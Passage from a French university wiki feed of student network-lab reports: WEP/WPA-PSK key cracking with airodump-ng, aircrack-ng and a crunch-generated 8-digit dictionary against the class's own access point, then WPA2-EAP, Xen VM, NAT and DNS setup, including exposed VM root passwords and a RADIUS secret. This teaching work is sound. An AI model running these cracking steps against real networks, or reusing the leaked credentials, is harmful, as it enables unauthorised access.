    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_5&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Vlan15&lt;br /&gt;
 description &amp;quot;VLAN personnel de Cedric PAYET (E5) - WPA2-EAP&amp;quot;&lt;br /&gt;
 ip address 10.60.5.2 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60a5::2/64&lt;br /&gt;
 vrrp 15 address-family ipv4&lt;br /&gt;
  priority 110&lt;br /&gt;
  address 10.60.5.1 primary&lt;br /&gt;
  exit-vrrp&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 15&lt;br /&gt;
name E5-Cedric&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
wifi-E306(config)#interface GigabitEthernet0.15&lt;br /&gt;
wifi-E306(config-subif)#encapsulation dot1Q 15&lt;br /&gt;
wifi-E306(config-subif)#bridge-group 15&lt;br /&gt;
wifi-E306(config-subif)#bridge-group 15 spanning-disabled&lt;br /&gt;
wifi-E306(config-subif)#no bridge-group 15 source-learning&lt;br /&gt;
wifi-E306(config-subif)#exit&lt;br /&gt;
wifi-E306(config)#exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12211</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12211"/>
		<updated>2026-02-10T16:48:37Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
